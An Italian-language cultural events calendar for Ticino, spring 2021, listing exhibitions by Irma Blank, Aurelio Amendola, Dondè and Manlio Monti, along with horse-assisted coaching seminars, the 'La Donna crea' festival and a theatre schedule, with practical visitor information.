Irma Blank descrive il suo lavoro come un «ciclo sensoriale totale», che nasce dall’intimità della lettura e della scrittura, ma che è universalizzato e amplificato poi dalla sua ricerca artistica. In questa prospettiva, l’artista ha registrato i suoni prodotti dai disegni in corso di realizzazione, o dalle letture pubbliche delle sue opere, udibili nella mostra al Museo Villa dei Cedri. Inoltre, il film della performance intitolata Concerto Scritturale (1980), rivisitata in occasione della tappa espositiva a Bordeaux (2019) e prodotta dal CAPC Musée d’art contemporain, è proiettato in una delle sale espositive.

Il progetto: una pubblicazione, sette esposizioni
Irma Blank. BLANK è un progetto nato nel 2017 su iniziativa delle due curatrici Johana Carrier (curatrice, traduttrice e coeditrice della rivista annuale sul disegno contemporaneo Roven) e Joana P. R. Neves (autrice e curatrice indipendente, ricercatrice in storia dell’arte e direttrice artistica dal 2017 della fiera parigina Drawing Now Art Fair). Grazie a questo loro considerevole lavoro di ricerca è stata pubblicata la prima grande monografia consacrata a Irma Blank, che propone un viaggio cronologico attraverso il suo lavoro ciclico. Oltre ai contributi di Johana Carrier e di Joana P. R. Neves, il volume è completato dai testi di Douglas Fogle e di Miriam Schoofs, così come dall’intervista di Hans Ulrich Obrist che dà voce al pensiero dell’artista stessa.

Parallelamente alla monografia, si sono delineate sette diverse mostre, ognuna delle quali è caratterizzata da un particolare approccio all’arte di Irma Blank.

Le istituzioni coinvolte nel progetto sono:
• Culturgest, Lisbona, 29 giugno – 8 settembre 2019
• MAMCO, Ginevra, 9 ottobre 2019 – 2 febbraio 2020
• Capc Musée d’art contemporain de Bordeaux, 27 giugno – 31 ottobre 2020
• CCA – Centro d’Arte Contemporanea di Tel Aviv, 23 luglio – 10 ottobre 2020
• Museo Villa dei Cedri, Bellinzona, 19 marzo – 1° agosto 2021
• Bombas Gens Centre d’Art, Valenza, autunno 2021
• ICA Milano, primavera 2022

Informazioni pratiche:

Irma Blank. BLANK
Commissari: Johana Carrier e Joana P. R. Neves

Museo Villa dei Cedri
Piazza S. Biagio 9 | CH-6500 Bellinzona
Tel.: +41 (0)58 203 17 30
E – Mail: museo@villacedri.ch | Web: www.villacedri.ch
Ingresso: CHF 12.- / € 12; ridotto: CHF 8.- / € 8.
Orario d’apertura: mercoledì – giovedì: 14.00-18.00 | venerdì – domenica e festivi: 10.00-18.00 | lunedì e martedì chiuso

Mar
28
Dom
Apertura esposizione “Aurelio Amendola. Visti da vicino” Museo Casa Rusca, Locarno dal 28 marzo 2021 @ Locarno
Mar 28–Set 19 giorno intero

Apertura esposizione “Aurelio Amendola. Visti da vicino” Museo Casa Rusca, Locarno
Aurelio Amendola. Visti da vicino

28 marzo – 19 settembre 2021

Museo Casa Rusca, Locarno
A cura di Rudy Chiappini

Comunicato stampa

Appuntamento dedicato alla fotografia d’arte quello con Aurelio Amendola, protagonista della nuova mostra al Museo Casa Rusca di Locarno, che accoglierà il pubblico dal 28 marzo fino al 19 settembre 2021.

Aurelio Amendola (Pistoia, 1938), fotografo di statura internazionale e membro dell’Accademia delle Arti del Disegno, ha legato il suo nome all’arte. Nel corso della sua lunga carriera, il suo obiettivo ha ritratto i più importanti esponenti delle avanguardie del Novecento tra cui De Chirico, Lichtenstein, Pomodoro e Warhol. Una passione, quella per l’arte del XX secolo, che acquista anche un valore umano per le frequentazioni personali del fotografo con alcuni artisti. Rapporti di amicizia che hanno dato vita ad importanti lavori monografici dedicati a scultori e pittori moderni tra cui Marini, Burri, Manzù, Fabbri, Ceroli, Vangi e Kounellis.

L’altro polo di interesse di Amendola è la scultura, ambito nel quale ha sviluppato una grande sensibilità documentando, tra l’altro, alcune note sculture del Rinascimento italiano. Celebri gli scatti delle opere di Jacopo Della Quercia, Canova e Donatello, e anche di singoli capolavori come il pulpito di Giovanni Pisano e il Fregio robbiano dell’Ospedale del Ceppo a Pistoia, Santa Maria della Spina e il Battistero a Pisa, la Basilica di San Pietro in Vaticano. Più di tutti, si è dedicato alla fotografia delle opere di Michelangelo, per cui ha ottenuto numerosi riconoscimenti (nel 2007 è stato il primo fotografo ad essere presente all’Hermitage di San Pietroburgo con una mostra dedicata alle creazioni del Maestro rinascimentale).

Aurelio Amendola, ovvero l’arte che fotografa l’arte e la fotografia che diventa arte. La sua fotografia infatti non si riduce a mera riproduzione, ma è simile alla pratica scultorea, un atto poetico, allo stesso tempo materiale e spirituale, meditativo e seduttivo.

Tra i fotografi più acuti e ricercati del nostro tempo, genio poliedrico, irriverente e solare, che incanta e ti conduce con sé tra rievocazioni di antichi maestri e importanti artisti contemporanei, con il suo stile rigoroso e raffinato, frutto di esperienza, fantasia e capacità tecnica.

La mostra vuole rendere omaggio a un uomo che ha dedicato la sua vita alla rappresentazione del mondo dell’arte. Attraverso una selezione di 79 fotografie, il visitatore avrà l’occasione di apprezzare una tra le più interessanti e significative testimonianze fotografiche mai realizzate sui lavori dei maggiori talenti artistici italiani e internazionali, immortalati con un click della sua inseparabile Hasselblad, sempre rigorosamente in analogico.

Il fil rouge dell’esposizione è l’atelier, luogo privato e inaccessibile, dove l’artista prefigura il suo lavoro in un contesto che ne rispecchia le personalità e l’estro, dove l’opera d’arte viene concepita, realizzata e infine contemplata, ma anche spazio di vita e di autorappresentazione dell’artista stesso.

La forza dello sguardo di Amendola sta nell’essere riuscito a penetrare la dimensione interiore dell’artista al lavoro, a fermare il momento assoluto e potente della creazione. Solo lui è riuscito in tale impresa (a parte Ugo Mulas con la celebre sequenza del taglio di Lucio Fontana) grazie alla complicità e intimità creata con gli artisti. È questa l’unicità di Amendola: una combinazione di prodigioso talento professionale unito ad una rara sensibilità umana.

Amendola con i suoi occhi ferma nel tempo qualcosa di unico: l’enigma insolubile della creazione. Quello che conta davvero per il fotografo è raccontare il mondo di un artista in un’istantanea e coinvolgere emotivamente l’osservatore che percepisce di essere di fronte a quei momenti sublimi che accompagnano l’atto creativo.

Possiamo così addentrarci furtivamente e in punta di piedi nell’ampio studio di uno tra i più celebri esponenti della Pop Art, Roy Lichtenstein, intento a ultimare una tela di grande formato oppure osservare Marino Marini scolpire all’aperto a Forte dei Marmi. Stupirci di fronte ad un Giorgio de Chirico elegantissimo in giacca e cravatta che studia il suo quadro illuminato dai raggi del sole provenienti da un lucernaio nel suo studio a Roma all’inizio degli anni Settanta. Invidiare Emilio Vedova, il pittore espressionista che lavora nel suo atelier veneziano usando non i pennelli ma le mani e pare quasi confondersi, coperto di colore com’è,

con l’opera che realizza. Restare affascinati da come il gesto istintivo di Julian Schnabel – pittore e regista statunitense alle prese con vele nautiche ricoperte di colore su cui campeggiano dei piatti rotti – faccia da contraltare all’indagine sul colore e alla precisione dell’esecuzione di Piero Dorazio. Interrogarci insieme a Hermann Nitsch – uno dei massimi esponenti dell’Azionismo viennese – sulla fascinazione per l’opera d’arte totale mentre l’artista, con indosso il consueto camice intriso da precisi significati sacerdotali, è intento a camminare sulle sue tele mastodontiche. Fra i più spettacolari artisti ripresi in azione non poteva mancare la sequenza dell’amico fraterno Alberto Burri con in mano un bruciatore nel momento in cui crea una delle sue celebri “combustioni” in plastica mentre il volto scompare tra le fiamme. In questo vasto ciclo di opere trovano un posto speciale i ritratti di Andy Warhol realizzati nel 1977 e nel 1986, poco prima della sua morte prematura. In queste immagini Amendola, uno dei pochissimi fotografi ammessi a ritrarre Warhol nella Factory, ci svela un artista che, consapevole di essere un’icona del suo tempo, si mette in posa immobile come una statua o un oggetto di uso quotidiano alla stregua di una delle sue lattine di zuppa Campbell’s o di un Brillo Box. Tuttavia le due serie non potrebbero essere più differenti. Le fotografie del 1977 sono calcolatissime, vi è un senso della “composizione” dove ritroviamo un Warhol distante e costruito rappresentato tra delle sedie vuote per raccontare proprio quel senso di solitudine che Amendola aveva percepito in lui. Sono più umani, invece, gli scatti del 1986, quando Warhol stava già malissimo. L’artista è un uomo maturo, dal fisico provato, il viso scavato, meno interessato alla propria immagine: la giacca nera e gli stivaletti lucidi hanno fatto posto ad una tenuta banale, propria – si potrebbe dire – dell’americano medio: i jeans, un giubbetto e una camicia a quadri.

Uno degli aspetti più originali della capacità fotografica di Amendola riguarda il suo lavoro sulla scultura, in particolare la sua interpretazione di Michelangelo Buonarroti. Amendola è l’unico fotografo al mondo che ha avuto il privilegio di ritrarre la totalità delle opere di uno dei più grandi artisti di tutti i tempi, realizzando cinque libri a lui dedicati, regalando così all’umanità delle inquadrature meravigliose. Il pubblico potrà ammirare, ad esempio, gli scatti esclusivi delle tre Pietà di Michelangelo: la Rondanini custodita al Castello Sforzesco a Milano, la Pietà di Santa Maria del Fiore a Firenze e la celebre Pietà vaticana conservata nella Basilica di San Pietro, coglierne tutte le sfaccettature e apprezzarne ogni singolo dettaglio.

I capolavori di Michelangelo filtrati dall’obiettivo di Amendola rivelano ogni aspetto della loro grandezza. Marmi che danno vita a forme sinuose delle quali il fotografo esalta la potenza plastica, la superba esecuzione, l’impulso vitale dei corpi, riuscendo quasi a restituire quel “contatto epidermico” che solo Michelangelo può avere avuto con la materia da cui sono scaturite le sue figure. Il tutto senza alcun artificio, nell’elegante semplicità delle immagini in bianco e nero, dove interagiscono perfettamente la mano di Michelangelo e il profondo sentimento della luce di Amendola.

Ed è attraverso un sapiente gioco di luci, angolazioni e riprese ravvicinate che il fotografo si addentra nelle opere, scoprendovi continuamente infinite chiavi di lettura, per riconsegnarci – da una prospettiva nuova – un repertorio iconografico entrato a tutti gli effetti nell’immaginario collettivo.

Nelle fotografie di Amendola possiamo ammirare le opere del massimo scultore e pittore rinascimentale svelato e non prevaricato; interpretato ma non travisato; nuovo e pure riconoscibile. Il risultato è una lettura intensamente partecipe, al punto da attualizzare le figure classiche del Maestro, offrendone in modo straordinariamente efficace una leggibilità inedita.

Anche per questo il percorso espositivo delle ultime due sale del Museo risulta particolarmente affascinante: un’autentica esperienza emozionale che consente al visitatore di penetrare con lo sguardo e con la mente l’opera michelangiolesca ed assaporare fino in fondo le principali sculture del grande maestro del Rinascimento.

Le immagini di Amendola rappresentano l’essenza stessa della fotografia, che è semplicemente la facoltà di poter guardare al mondo o alle cose attraverso altri occhi. Occhi capaci, in questo caso, di regalare il senso di una rivelazione, di raccontare l’impercettibile e di scrutare l’anima. Come ebbe a dire Alan Jones “Con il suo occhio penetrante, l’apparato fotografico, e il soggetto sotto il suo sguardo, che si tratti di pietra o di un essere vivente, egli compie una triangolazione filosofica: l’arte come scelta e punto di osservazione, l’arte come direzione dello sguardo, l’arte come strumento per rendere visibile l’invisibile.”

Catalogo

La mostra è accompagnata da un catalogo corredato dalle riproduzioni di tutte le opere esposte, unitamente a contributi critici di Walter Guadagnini e Antonio Paolucci.

Note biografiche

Aurelio Amendola nasce nel 1938 a Pistoia, dove vive e lavora. Nel corso della sua lunga carriera di fotografo si dedica soprattutto all’arte contemporanea, immortalando i più rinomati artisti italiani e internazionali del Novecento. A partire dagli anni Settanta egli crea una vera e propria galleria di ritratti di celebri maestri come Giorgio de Chirico, Arnaldo Pomodoro, Renato Guttuso, Mario Schifano, Roy Lichtenstein e Andy Warhol, per citarne solo alcuni. Questa collezione, che quotidianamente si rinnova aggiornandosi sui nomi e sulle tendenze più all’avanguardia, acquista un particolare valore culturale e umano grazie alla lunga frequentazione personale del fotografo con gli artisti. Alla sua opera si devono infatti numerose monografie dedicate ai maggiori scultori e pittori moderni come Marino Marini, Giacomo Manzù, Luciano Fabro e Jannis Kounellis. Il fotografo si concentra inoltre su Alberto Burri, al quale dedica diverse mostre: nel 2006 al Museo Nacional Centro de Arte Reina Sofia a Madrid, nel 2007 a Parma presso la Fondazione Magnani Rocca e nel 2008 alla Triennale di Milano. Nel 2011 partecipa alla mostra United Artists of Italy. Photographic portraits presso la Estorick Gallery of Modern Italian Art di Londra e dona undici foto-ritratto al Comune di Pistoia conservate nella collezione permanente di Palazzo Fabroni. Nel 2012 inaugura a Milano alla Galleria Marconi la serie Happenings che, ulteriormente arricchita da nuove immagini di artisti, verrà riproposta poi a Bologna alla Galleria De’ Foscherari e successivamente a Palazzo Panichi a Pietrasanta. Nel 2014 la Triennale di Milano organizza la mostra In Atelier. Aurelio Amendola: fotografie 1970-2014 che presenta uno ampio e sfaccettato campionario di artisti ritratti dal fotografo toscano nel momento in cui concepiscono le opere nelle loro “officine”. Seguono diverse esposizioni in Italia dedicate ad altrettante figure di spicco del panorama artistico del XX secolo di cui Amendola è stato narratore e testimone.

Amendola è anche noto per le fotografie delle sculture del Rinascimento italiano: ha documentato l’opera di Jacopo Della Quercia, Canova, Bernini, Donatello e Michelangelo, e illustrato singoli capolavori e monumenti quali il pulpito della chiesa di Sant’Andrea di Giovanni Pisano e il Fregio Robbiano dell’Ospedale del Ceppo a Pistoia, la chiesa di Santa Maria della Spina e il Battistero di San Giovanni a Pisa, la Basilica di San Pietro in Vaticano. Le sue riprese delle sculture di Michelangelo sono esposte nel 2007 al Museo dell’Hermitage di San Pietroburgo. Amendola è il primo artista a proporre una mostra fotografica nelle sale della celebre istituzione. Nel 2008 la Fondazione Gam di Torino acquista alcune sue fotografie per poi esporle in una mostra collettiva al Castello di Rivoli. Nello stesso anno il gruppo editoriale UTET Grandi Opere – FMR pubblica il libro Michelangelo: La Dotta Mano con immagini di Amendola. Il libro è realizzato in 99 copie con una copertina in marmo e velluto. In seguito verrà donato alla città di Bologna e al Museo del Prado di Madrid e a molte altre istituzioni in America, in Asia e a privati. Nel 2014 in occasione del 450º anniversario della morte di Michelangelo, Amendola espone 23 gigantografie dell’opera dello scultore presso le Cappelle Medicee a Firenze. Interprete per eccellenza dell’opera del grande maestro del Rinascimento, seguono negli anni successivi diverse mostre incentrate sulla sua figura.

Da quasi 50 anni il fotografo espone sia in Italia, sia all’estero, arrivando anche in Uruguay, in Canada, in Brasile e a Singapore.

Nel 1994 il suo volume Un occhio su Michelangelo – dedicato alla Cappella Medicea di San Lorenzo a Firenze – vince il “Premio Oscar Goldoni” per il miglior libro fotografico dell’anno. Quattro anni dopo riceve il premio alla carriera “Cino da Pistoia”. La città di Pistoia gli assegna nel 2012 anche il premio “Il Micco”, il più alto riconoscimento a personalità pistoiesi. Nel 2014 l’Accademia delle Belle Arti di Catanzaro gli conferisce il Diploma Accademico Honoris Causa in arti visive e il titolo di Accademico d’Italia, per l’eccellenza della sua attività artistica e professionale. Nel 2016 la città di Gaeta gli ha assegnato il premio “Una vita per l’Arte” attribuito annualmente a personaggi che hanno dedicato la propria vita all’Arte.

Informazioni
SEDE Museo Casa Rusca
Piazza Sant’Antonio, 6600 Locarno
ORARI Martedì – Domenica 10.00-12.00 / 14.00-17.00
Lunedì chiuso
INGRESSO Intero CHF 12.-
Ridotto AVS/AI e gruppi* CHF 10.-
Studenti dai 16 anni e gruppi AVS/AI* CHF 6.-
Ingresso gratuito per le scuole
e per gli studenti fino ai 16 anni*
BIGLIETTO COMBINATO MUSEO CASORELLA-CASTELLO + MUSEO CASA RUSCA

Intero CHF 18.-
Ridotto AVS/AI e gruppi* CHF 15.-
Studenti dai 16 anni e gruppi AVS/AI* CHF 10.-
* nel rispetto delle raccomandazioni di igiene e distanziamento
emanate dalle autorità federali.
PRENOTAZIONI +41 (0)91 756 31 85
CONTATTI Dicastero Cultura Città di Locarno
Piazzetta de’ Capitani 2, 6600 Locarno
+41 (0)91 756 31 70 servizi.culturali@locarno.ch
www.museocasarusca.ch
www.locarno.ch
www.facebook.com/casarusca
www.instagram.com/casarusca
CATALOGO “Aurelio Amendola. Visti da vicino”
Locarno, Museo Casa Rusca, 2021
illustrazioni a colori CHF 40.-

Apr
1
Gio
Mostra Donde 1 Aprile-30 maggio 2021 ad Ascona @ Ascona
Apr 1–Mag 30 giorno intero

I WANT YOU POP ART EXPERIENCE
Mostra Donde 1 Aprile-30 maggio 2021
Care amiche e cari amici di Majid,
siamo felici di segnalare il ritorno di Dondè, artista scintillante che abbiamo avuto il piacere di ospitare nel 2020.
Il nuovo allestimento prevede un tema particolare, il maestro, infatti, si “specchia”, letteralmente, nell’arte di Andy Warhol, con una tecnica molto particolare che sorprenderà gli estimatori dei due artisti.
Vi aspettiamo da giovedì 1 Aprile dalle ore 10.00 fino alle ore 19.00 orario continuato.

Team Majid

Liebe Freunde von Majid
Wir freuen uns sehr, Ihnen die Rückkehr des funkelnden Künstlers Dondè verkünden zu dürfen,.
Er war bereits im letzten Jahr bei uns zu Gast.
Die neue Veranstaltung beginnt am 1. April und dauert bis zum 30. Mai 2021.Der Künstler hat dafür ein besonderes Thema
vorbereitet.
Der Meister wird sich buchstäblich in der Kunst von Andy Warhol «spiegeln», mit einer ganz besonderen Technik, welche die Bewunderer der beiden Künstler überraschen wird.
Wir erwarten Sie gerne ab Donnerstag, den 1. April und sind für Sie da von 10.00 bis 19.00 Uhr durchgehend.
Für weitere Informationen steht Ihnen unser Sekretariat gerne zur Verfügung.

Team Majid

Apr
7
Mer
Training della personalità con l’aiuto del cavallo – Cosa c’è ad aprile? (7, 21, 25 aprile 2021) @ Gudo
Apr 7–Mag 26 giorno intero

Nel percorso della coscienza di sé, è prosperoso riflettere quanto è la stima nei propri confronti e quanto è la fiducia nelle proprie capacità.
Nel seminario 9 chiavi per un’immagine di sé positiva assistito dal cavallo, potete tra l’altro definire il “sé ideale” e sperimentare col cavallo una delle 9 chiavi per aumentare la propria fiducia.

Nel nuovo seminario assisto dal cavallo “coltivare la fiducia” del 16.5.2021, si approfondirà la propria “autostima”, domandandosi: Come penso e parlo di me stesso? Come mi tratto e cosa rivela il mio corpo? Quanto apprezzamento do e quanto mi sento prezioso? ecc.

In determinate situazioni la paura blocca la fiducia. Allora il seminario col cavallo “Ciao, ciao paura: riconoscere e gestirla” del 25.4.2021 è una soluzione ideale.

L’autostima e la fiducia in sé e le relative competenze, sono fattori importanti da sviluppare per essere l’artefice della propria vita.

Nel coaching e/o seminari assistiti dal cavallo, conoscerete specifiche tecniche per il management del sé, inoltre beneficerete dell’effetto positivo di stare in natura e del biofeedback dal cavallo, grazie alla sua spiccata “empatia intraspecifica”.

I prossimi eventi riassunti:

Le iscrizioni sono aperte (online “Agenda”www.kathrinknupp.ch )

Nutri i tuoi sensi, dai ascolto al tuo cuore e respira consapevolezza: una passeggiata alla scoperta dei tesori (Training dell’attenzione in natura)”
mercoledì 7.4.2021 (19.00-21.00) Gudo
Durante questo evento, oltre ai benefici fisici di una sana passeggiata, sperimentate la camminata meditativa e le tecniche del training dell’attenzione, per creare un’armonia tra i propri passi, il respiro e i movimenti del corpo. Rigenera la mente grazie all’effetto benefico della natura e stimolate la creatività come pure la percezione tramite i sensi, per sviluppare nuove idee e affrontare la quotidianità con serenità.
Coccola l’anima: pascolando in silenzio con il cavallo con il training dell’attenzione
mercoledì 21.4.2021 (19.00-21.00) Gudo
Seminario sviluppo personale assistito dal cavallo “Ciao, ciao paura: riconoscere e gestirla”
domenica 25.4.21 (12.30-17.30) Gudo

Arrivederci in natura.

Saluti fiduciosi
Kathrin Knupp
ProLeading Trainer
Trainer Resilienza e Prevenzione Burnout (in formaz.)
Specialista del personale APF
+41 78 628 11 18
www.kathrinknupp.ch
tpc.kathrin.knupp@gmail.com
Il cavallo come trainer di vita…per una qualità di vita migliore.

Apr
10
Sab
LA MOSTRA ¦ MANLIO MONTI. ATTIVITÀ GRAFICA E SUA GENESI da sabato 10 aprile a giovedì 3 giugno 2021 @ Chiasso
Apr 10–Giu 3 giorno intero

Spazio Officina, CHIASSO (SVIZZERA)

LA MOSTRA ¦ MANLIO MONTI. ATTIVITÀ GRAFICA E SUA GENESI da sabato 10 aprile a giovedì 3 giugno 2021

La mostra MANLIO MONTI. ATTIVITÀ GRAFICA E SUA GENESI intende presentare la ricerca sulla grafica d’arte e la sua divulgazione svolte da Manlio Monti, artista incisore ticinese con atelier a Locarno. Dal 10 aprile al 3 giugno 2021 allo Spazio Officina sarà esposta l’intera raccolta di stampe Club 365, progetto creato da Manlio Monti nel 1998 per favorire la conoscenza e la diffusione dell’incisione calcografica; allo Spazio Officina vengono proposte le opere di oltre 60 artisti, di sei nazionalità, oltre ad alcune opere dello stesso Manlio Monti. Allo Spazio Officina saranno inoltre visibili le raccolte denominate cartelle nere (che abbinano sei incisioni a un testo letterario o poetico), cartelle blu e cartelle grigie, nonché una selezione di pubblicazioni e libri d’artista stampati dalle Edizioni Il Salice (fondate da Monti nel 1987). Complessivamente sono esposte quasi trecento grafiche (280) realizzate con diverse tecniche: dall’acquaforte all’acquatinta, dal bulino alla puntasecca, dalla ceramolle alla stampa a secco fino alla serigrafia. In mostra è presente anche un torchio progettato e costruito dallo stesso artista ticinese, e donato in occasione della mostra al m.a.x. museo.

L’esposizione, curata da Manlio Monti e Nicoletta Ossanna Cavadini, rappresenta in quanto mostra personale antologica sulla grafica d’artista una prima assoluta per Manlio Monti in una struttura museale pubblica, prima d’ora infatti ha presentato – in diverse occasioni – le proprie opere in gallerie private o in esposizioni collettive.

La mostra si inserisce nel filone del genius loci, concepito per dar spazio ad artisti che hanno operato e operano con un proprio Atelier sul territorio ticinese. Manlio Monti ha alle spalle una lunga e ricca attività non solo come artista e docente, ma in maniera molto saliente anche come divulgatore e promotore della grafica d’arte e dei suoi protagonisti, sia in terra ticinese sia oltre i confini nazionali.

La mostra è resa possibile grazie al Dicastero Educazione e Attività culturali del Comune di Chiasso, con il sostegno dell’AGE SA e dell’associazione amici del m.a.x. museo (aamm). Si ringrazia la SUPSI-Scuola universitaria professionale della Svizzera italiana – in particolare il Laboratorio di cultura visiva del Dipartimento ambiente costruzioni e design per la collaborazione nell’ambito del progetto grafico -, e il Circolo “Cultura, insieme” Chiasso per il sostegno alla conferenza pubblica di Manlio Monti.

Inaugurazione in streaming: VENERDÌ 9 APRILE 2021, ore 17.30,
www.centroculturalechiasso.ch

Apertura al pubblico: SABATO 10 APRILE 2021, ore 10.00
a seguire apertura con orari regolari di Spazio Officina

Apr
23
Ven
23 aprile- 4 giugno 2021 ¦ La Donna crea, 20° Festival internazionale (Tema: Donne radice) @ Location secondo programma
Apr 23–Giu 4 giorno intero

23 aprile- 4 giugno 2021

La Donna crea, 20° Festival internazionale (Tema: Donne radice)
Voci audaci, 18° Rassegna internazionale

“Avremmo voluto festeggiare questa 20° edizione di La donna crea con un corteo di musiciste e un carro fiorito trainato da quattro pony inghirlandati lungo le rive di laghi e fiumi di tutti i Comuni che ci ospitano. Con l’aiuto dei bambini che sono anche il nostro pubblico e il nostro futuro, vi avremmo distribuito fiori di campo e avremmo cantato insieme lungo il cammino. Invece il carrozzone di Nicole & Martin è dovuto partire e il loro debutto da noi rinviato come alcune altre proposte del programma primaverile. Siamo felici che grazie alla flessibilità degli artisti, delle sale e dei tecnici, siamo riusciti a trovare nuove date a spettacoli e concerti. Solo 50 in sala ma dal vivo.”

La situazione degli ultimi mesi ha portato molti artisti ed organizzatori a guardarsi dentro, per andare oltre.
Donne radice è il tema della ventesima edizione del Festival La donna crea, ideato da Santuzza Oberholzer, che ci invita ad esplorare le profondità che ci nutrono, il contatto con la terra.
Non sarà che anche noi esseri umani come gli alberi creiamo, attraverso le radici, connessioni virtuose a beneficio di tutto il bosco? Vi sono proposte che vanno alla riscoperta dell’intuito femminile, quell’aspetto della donna più istintuale e “selvaggio”, da Calypso alle streghe. Anche storie minute che attingono a narrazioni di donne, madri e nonne, si trasformano e fioriscono. Così è cresciuta la programmazione che si china ogni anno in modo serio, scherzoso e poetico, su un aspetto della sensibilità femminile, toccandone archetipi, sogni e vissuti e trovando come per caso autrici, cantanti, attrici, registe, che ci suggeriscono nuove strade e ci portano lontano o ci riportano a casa, ognuna con uno strascico sottile o pesante di radice che forse non ci abbandona.
Questo è un programma, in cui le storie raccontate e quelle delle creatrici si intrecciano, rivelando l’alchemico albero rovesciato, il potente simbolo che dall’antichità dai Veda indiani a Platone, ai nativi d’America, ha simbolizzato per molte culture il nostro rapporto con il cielo, con l’alto e l’altro.
Come da tradizione la stagione Osa di primavera si apre venerdì 23 aprile con l’incontro a cura di Patricia Barbetti dal tema “Donne radice” con due artiste del territorio in una nuova sede sempre a Locarno, il Palacinema. La toccante scrittura di Doris Femminis profuma di terra, sia che si occupi delle capraie della Valle Bavona, che del disagio psichiatrico giovanile contemporaneo. Masha Dimitri, partita dal Ticino giovanissima, è tornata e ripartita più volte, nutrendo le sue radici appese ad un filo. Le storie minute di un paese, una famiglia attingono alle narrazioni di donne, madri e nonne; le artiste le fanno fiorire e le trasformano. Così è cresciuta la programmazione che si china ogni anno in modo serio, scherzoso e poetico, su un aspetto della sensibilità femminile, toccandone archetipi, sogni e vissuti e trovando come per caso autrici, cantanti, attrici, registe, che ci suggeriscono nuove strade e ci portano lontano o ci riportano a casa, ognuna con uno strascico sottile o pesante di radice che forse non ci abbandona.
Prima assoluta per Quello che resta (24 aprile, Cambusateatro, Locarno), creazione di teatro danza ispirato al mito della bella Calypso prigioniera e carceriera della grotta, una riflessione sulla memoria del corpo.
Il fondo del sacco (30 aprile, Teatro di Locarno) fa rivivere una visione più sofferta della stessa valle, nella bellezza della prosa di Plinio Martini con la voce dell’attrice bellinzonese Margherita Saltamacchia e la musica dal vivo di Daniele Dell’Agnola.
La stagione teatrale prosegue all’aperto con la riscoperta, dei due nuclei di Piazzogna nel Gambarogno (23 maggio) e San Giorgio a Losone (29 maggio) con una passeggiata spettacolo: Anime e sassi del Teatro dei Fauni, storie con racconti e canti degli abitanti di un villaggio immaginario di inizio Novecento, per pubblico di ogni età.

A conclusione, Annie (16 aprile, Teatro di Minusio) è la protagonista della storia vera di una giovane madre che a fine ‘800, seguendo il suo istinto intraprende un folle viaggio: il giro del mondo in bicicletta.
Per quanto riguarda la musica Voci audaci presenta il tradizionale Circlesong (14 maggio, la fabbrica Losone), condotto da Anita Daulne, Repubblica Dem. del Congo/Belgio, Charles Raszl, Brasile, Oskar Boldre e Costanza Sansoni, Italia. Questi vocalist sono anche gli animatori dei 6 workshops di canto e improvvisazione, che si terranno sempre a la fabbrica (dal 13 al 16 maggio) con gruppi di 15 partecipanti al massimo, ancora pochi posti disponibili.
Segue il concerto dell’originale gruppo francese di nuovo folk Lolomis (21 maggio, Teatro di Minusio) dedicato a Red Sonja, strega moderna ispirata ai fumetti.

Dal 23 aprile al 4 giugno in programma 8 eventi di cui 3 a entrata libera; 6 di teatro sul tema Donne radice. Si terranno in 7 luoghi diversi anche all’aperto: a Losone, Locarno, Minusio e Gambarogno; sarà una stagione in bilico purtroppo anche a livello finanziario, vi saranno creazioni sorprendenti, per la gioia di ritrovarsi perché ora più che mai: NO CULTURE NO FUTURE.
Questa, che Osa! si augura di poter realizzare per intero, anche se con limitazioni, è la quarta versione del programma primaverile, gli organizzatori non vedono l’ora di riprendere ad essere parte di quel rito magico, che si crea tra artisti e pubblico.
Il desiderio maggiore è che ognuno si senta a proprio agio in questo emozionante ritorno alla condivisione dell’arte dal vivo.
Verranno rispettate le norme di sicurezza e i posti saranno limitati, prenotazione consigliata a: info@organicoscenaartistica.ch o al telefono prenotazioni 076 280 96 90.
Osa! è un gruppo di artisti indipendenti che programma con l’intento di vivacizzare la scena artistica della regione. Siamo: Santuzza Oberholzer, Oskar Boldre, Cristina Radi, Eloisa Vacchini, Martin Bartelt. Ringraziamo di cuore i nostri sostenitori: donazioni su CCP 65-7427446

Consulta il programma dettagliato cliccando qui

Apr
25
Dom
Programma spettacoli e.s.teatro (ex Cortile) a Viganello dal 25 aprile al 27 luglio 2021 @ Viganello
Apr 25–Lug 27 giorno intero

I teatri riaprono e noi ripartiamo, incrociando le dita…

Come saprete, dalla chiusura definitiva del teatro ilCortile di Viganello, la nostra programmazione, grazie alla collaborazione con la Divisione Eventi e Congressi della Città di Lugano, si è spostata quasi interamente al teatro Foce di Lugano, ma alcuni dei nostri spettacoli si terranno in altre sale ticinesi, in particolare al teatro del Gatto di Ascona e al teatro Paravento di Locarno.

L’importante importante novità di questa stagione, che vuol essere anche un sperimento, è che la maggior parte degli spettacoli programmati al teatro Foce avranno luogo nei giorni feriali e inizieranno alle 19:00, ad eccezione della nuova produzione Diario di un pazzo, che avrà inizio alle 20:30.

Ecco dunque il programma in dettaglio. Maggiori informazioni su ilcortile.ch.

Vi aspettiamo!

do25 aprile ’21 / h 17:30
Teatro del Gatto, Ascona
DIMENTICANDO GABER
Recital
da testi di Giorgio Gaber e Sandro Luporini
Voce recitante Emanuele Santoro
Musiche dal vivo di Claudia Klinzing
Produzione e.s.teatro Lugano

ma27, me28 aprile ’21 / h19:00
Teatro Foce, Lugano. Rassegna HOME
CALIGOLA(S)CONCERTO
Recital
da Albert Camus
Adattamento, interpretazione e regia di Emanuele Santoro
Musiche dal vivo di Claudia Klinzing
Produzione e.s.teatro Lugano

lu3 maggio ’21 / h 19:00
Teatro Foce, Lugano. Rassegna HOME-SOLOinscena
SOLOcon DüRRENMATT
Recital
da testi di Friedrich Dürrenmatt
Con Emanuele Santoro e Roberto Albin
Produzione e.s.teatro Lugano

ma4 maggio ’21 / h 19:00
Teatro Foce, Lugano. Rassegna HOME-SOLOinscena
SOLOcon JOHN FANTE
Recital dai racconti di John Fante
Con Emanuele Santoro
Musiche dal vivo di Claudia Klinzing
Produzione e.s.teatro Lugano

gio20, ve21, sa22 maggio ’21 / h20:30
Teatro Foce, Lugano. Rassegna HOME
DIARIO DI UN PAZZO
Di Nikolaj Gogol’
Nuova produzione e.s.teatro
Adattamento e regia di Emanuele Santoro
Con Jame Lee Moser, Michele Martone, Roberto Albin e Emanuele Santoro
Assistente alla regia e alla scenografia Antonella Barrera
Nuova Produzione e.s.teatro Lugano

ma25 maggio ’21 / h19:00
Teatro Paravento, Locarno.
DIARIO DI UN PAZZO
Di Nikolaj Gogol’

do30 maggio ’21 / h 17:30
Teatro del Gatto, Ascona
COMICITA’ DELLA SOLITUDINE
Recital
dai racconti di Stefano Benni
Voce recitante Emanuele Santoro
